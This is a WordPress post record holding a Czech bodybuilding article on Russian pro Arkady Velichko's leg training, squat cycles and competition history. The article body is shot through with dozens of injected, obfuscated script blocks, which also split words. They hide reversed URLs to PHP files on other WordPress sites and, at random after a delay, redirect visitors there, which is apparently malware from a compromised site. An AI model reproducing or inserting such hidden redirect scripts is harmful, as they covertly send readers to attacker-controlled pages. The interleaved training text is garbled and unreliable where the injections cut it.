{"id":149,"date":"2019-07-04T11:55:11","date_gmt":"2019-07-04T11:55:11","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=149"},"modified":"2019-07-04T11:55:11","modified_gmt":"2019-07-04T11:55:11","slug":"jak-cvici-nohy-iffb-pro-arkady-velichko","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2019\/07\/04\/jak-cvici-nohy-iffb-pro-arkady-velichko\/","title":{"rendered":"JAK CVI\u010c\u00cd NOHY IFFB PRO ARKADY VELICHKO"},"content":{"rendered":"<p>text: Vincent Prado, fo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to archiv Arkady Velichka<\/p>\n<p>Co o sv\u00e9m tr\u00e9ninku prozradil jeden z nej\u00fasp\u011b\u0161n\u011bj\u0161\u00edch rusk\u00fdch profesion\u00e1l\u016f Arkady Velichko?<\/p>\n<p>\u201cTak jako v\u011bt\u0161ina mlad\u00fdch kluk\u016f jsem i j\u00e1 cht\u011bl hlavn\u011b nabrat hmotu a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to rychle,\u201d vzpom\u00edn\u00e1 na svoje za\u010d\u00e1tky z roku 2004 a p\u0159ipou\u0161t\u00ed, \u017ee samoz\u0159ejm\u011b pot\u0159eboval tak\u00e9 kvalitn\u00ed veden\u00ed. Na\u0161t\u011bst\u00ed si jeho nad\u0161en\u00ed a nezpochybniteln\u00e9ho talentu v\u0161iml tren\u00e9r v posilovn\u011b a nab\u00eddl mu, \u017ee ho p\u0159iprav\u00ed na sout\u011b\u017e. \u201cNa n\u011bco takov\u00e9ho jsem tenkr\u00e1t ani nepom\u00fd\u0161lel,\u201d dod\u00e1v\u00e1 Arkady.<\/p>\n<p><strong>CESTA ZA \u00daSP\u011aCHEM NA ARNOLD CLASSIC<\/strong><\/p>\n<p>Po sedmim\u011bs\u00ed\u010dn\u00ed p\u0159\u00edprav\u011b se z\u00fa\u010dastnil sv\u00e9 prvn\u00ed kulturistick\u00e9 sout\u011b\u017ee v kategorii junior\u016f a skon\u010dil na kr\u00e1sn\u00e9m t\u0159et\u00edm m\u00edst\u011b, kter\u00e9 pro n\u011bj bylo velkou motivac\u00ed k dal\u0161\u00ed pr\u00e1ci.<\/p>\n<p>Da\u0159ilo se mu formu neust\u00e1le zlep\u0161ovat a star<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toval na cel\u00e9 \u0159ad\u011b dal\u0161\u00edch sout\u011b\u017e\u00ed, z nich\u017e v\u011bt\u0161inu vyhr\u00e1l. Po deseti letech tr\u00e9ninku se stal v roce 2014 absolutn\u00edm mistrem Ruska. To u\u017e jeho sout\u011b\u017en\u00ed v\u00e1ha dosahovala 113 kg.<\/p>\n<p>\u201cPo <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u00edt\u011bzstv\u00ed jsem se rozhodl z\u00e1vodit na mezin\u00e1rodn\u00edm poli a p\u0159ipravil jsem se na Arnold Classic Europe 2015. Byl <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cel\u00fd rok tvrd\u00e9ho tr\u00e9ninku, kter\u00fd se mi opravdu vyplatil, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee jsem v Madridu z\u00edskal titul absolutn\u00edho v\u00edt\u011bze a tak\u00e9 vy<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou\u017eenou profi kartu. A <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u0161e z rukou samotn\u00e9ho Arnolda Schwarzeneggera. M\u016fj sen se stal skute\u010dnost\u00ed.\u201d<\/p>\n<p><strong>TR\u00c9NINK NOHOU<\/strong><\/p>\n<p>Nohy Arkady Velichka pat\u0159\u00ed k nejmohutn\u011bj\u0161\u00edm na sou\u010dasn\u00e9 kulturistick\u00e9 sc\u00e9n\u011b. Co se skr\u00fdv\u00e1 za tak neuv\u011b\u0159iteln\u00fdm svalov\u00fdm rozvojem? Mo\u017en\u00e1 I fakt, \u017ee Arkady nohy cvi\u010d\u00ed opravdu r\u00e1d. A <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nen\u00ed mezi kulturisty obvykl\u00fd jev.<\/p>\n<p>\u201cSna\u017e\u00edm se v\u0161echny svaly procvi\u010dit se stejn\u00fdm nasazen\u00edm,\u201d popisuje. \u201cMo\u017en\u00e1 v\u00e1s <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159ekvap\u00ed, ale kdy\u017e jsem se cvi\u010den\u00edm za\u010d\u00ednal, nohy v\u016fbec nebyly moj\u00ed nejlep\u0161\u00ed parti\u00ed. M\u011bl jsem mnohem lep\u0161\u00ed vr\u0161ek. Nohy se tak v\u00fdrazn\u011b zlep\u0161ily a\u017e d\u00edky tvrd\u00e9 pr\u00e1ci a obrovsk\u00e9mu \u00fasil\u00ed.\u201d<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-151 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/arkady1-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/arkady1-200x300.jpg 200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/arkady1.jpg 640w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/>Arkady zd\u016fraz\u0148uje, \u017ee je zcela z\u00e1sadn\u00ed rozd\u00edl v tr\u00e9ninc\u00edch, do nich\u017e jsou za\u0159azeny d\u0159epy a v t\u011bch, kde d\u0159epy nenajdete. \u201cPova\u017euju, za napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to z\u00e1sadn\u00ed odli\u0161ovat, jestli jde o tr\u00e9nink nohou s d\u0159epy nebo bez nich,\u201d vysv\u011btluje rusk\u00fd profesion\u00e1l.<\/p>\n<p>\u201cV tr\u00e9ninku kvadriceps\u016f d\u0159epy za\u0159azuju u\u017e dlouh\u00e9 roky. A pr\u00e1v\u011b jim vd\u011b\u010d\u00edm za tak v\u00fdrazn\u00fd rozvoj nohou,\u201d pou\u0161t\u00ed se Arkady do konkr\u00e9tn\u00edho popisu tr\u00e9ninku. P\u0159ed d\u0159epy vyu\u017e\u00edv\u00e1 obvykle me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>todu p\u0159edvy\u010derp\u00e1n\u00ed. Za\u010dne p\u0159edkop\u00e1v\u00e1n\u00edm a pak jede s\u00e9rii leg pressu nebo v\u00fdpad\u016f s velkou \u010dinkou, kdy se z\u00e1t\u011b\u017e pohybuje do 100 kg. Teprve pak p\u0159ich\u00e1z\u00ed na \u0159adu d\u0159epy a po nich d\u0159epy s opravdu vysokou z\u00e1t\u011b\u017e\u00ed. Ty posledn\u011b jmenovan\u00e9 jsou velmi d\u016fle\u017eit\u00e9. Arkady ov\u0161em pova\u017euje za z\u00e1sadn\u00ed um\u011bt tr\u00e9ninky spr\u00e1vn\u011b na\u010dasovat. \u201c\u010c\u00edm n\u00e1ro\u010dn\u011bj\u0161\u00ed je tr\u00e9nink, t\u00edm d\u00e9le pak trv\u00e1 regenerace,\u201d dod\u00e1v\u00e1.<\/p>\n<p>Tr\u00e9ninky, v nich\u017e jsou za\u0159azeny d\u0159epy, cykluje po 12 t\u00fddnech. Za\u010d\u00edn\u00e1 tr\u00e9ninkem, kter\u00fd kon\u010d\u00ed d\u0159epy s 200 kg, pak zvy\u0161uje v\u00e1hu tr\u00e9nink od tr\u00e9ninku na 220, 240, 260, 280 a 300 kg v posledn\u00ed s\u00e9rii. Tu jede do vy\u010derp\u00e1n\u00ed. V r\u00e1mci ka\u017ed\u00e9ho tr\u00e9ninku za\u010d\u00edn\u00e1 s n\u00edzkou v\u00e1hou a tu postupn\u011b navy\u0161uje, a\u017e se dostane k uveden\u00e9 hodnot\u011b.<\/p>\n<p>D\u0159epov\u00e9 tr\u00e9ninky za\u0159azuje v\u017edy po deseti a\u017e \u010dtrn\u00e1cti dnech. Po prvn\u00edm tr\u00e9ninku, kter\u00fd kon\u010d\u00ed s 200 kg, m\u00e1 deset dn\u016f na regeneraci. Po druh\u00e9m a t\u011bch dal\u0161\u00edch, kdy v\u00e1hu pou\u017ei<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou v posledn\u00ed s\u00e9rii nav\u00fd\u0161\u00ed v\u017edy o 20 kg oproti tr\u00e9ninku p\u0159edchoz\u00edmu, je pauza 14 dn\u016f. Cel\u00fd cyklus pak trv\u00e1 12 t\u00fddn\u016f. Na jeho konci si d\u00e1v\u00e1 m\u011bs\u00ed\u010dn\u00ed pauzu, aby si t\u011blo kvalitn\u011b odpo\u010dinulo.<\/p>\n<p>\u201cJak jsem \u0159ekl, mezi d\u0159epov\u00fdmi tr\u00e9ninky je 10 dn\u016f a\u017e dva t\u00fddny pauza a po dokon\u010den\u00ed cyklu dokonce cel\u00fd m\u011bs\u00edc, ale mezi t\u00edm nohy samoz\u0159ejm\u011b cvi\u010d\u00edm, akor\u00e1t neprov\u00e1d\u00edm d\u0159epy,\u201d vysv\u011btluje Arkady, kter\u00fd se v\u00a0obdob\u00ed bez d\u0159ep\u016f zam\u011b\u0159uje na jin\u00e9 partie svalstva nohou, <img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-153 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/IMG_3009-18-03-19-09-19-220x300.jpg\" alt=\"\" width=\"220\" height=\"300\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/IMG_3009-18-03-19-09-19-220x300.jpg 220w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/IMG_3009-18-03-19-09-19-768x1047.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/IMG_3009-18-03-19-09-19-751x1024.jpg 751w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/07\/IMG_3009-18-03-19-09-19.jpg 1188w\" sizes=\"auto, (max-width: 220px) 100vw, 220px\" \/>p\u0159\u00edpadn\u011b za\u0159azuje jin\u00e9 cviky na stehna.<\/p>\n<p>R\u00e1d se soust\u0159ed\u00ed na hamstringy a l\u00fdtka. \u201cHamstringy cvi\u010d\u00edm jednou t\u00fddn\u011b a sna\u017e\u00edm se svaly aktivovat z mnoha r\u016fzn\u00fdch \u00fahl\u016f. Hodn\u011b vyu\u017e\u00edv\u00e1m p\u0159edklony s \u010dinkou na ramenou.\u201d Tr\u00e9nink l\u00fdtek za\u0159azuje dvakr\u00e1t t\u00fddn\u011b. Prvn\u00ed tr\u00e9nink v\u011bt\u0161inou 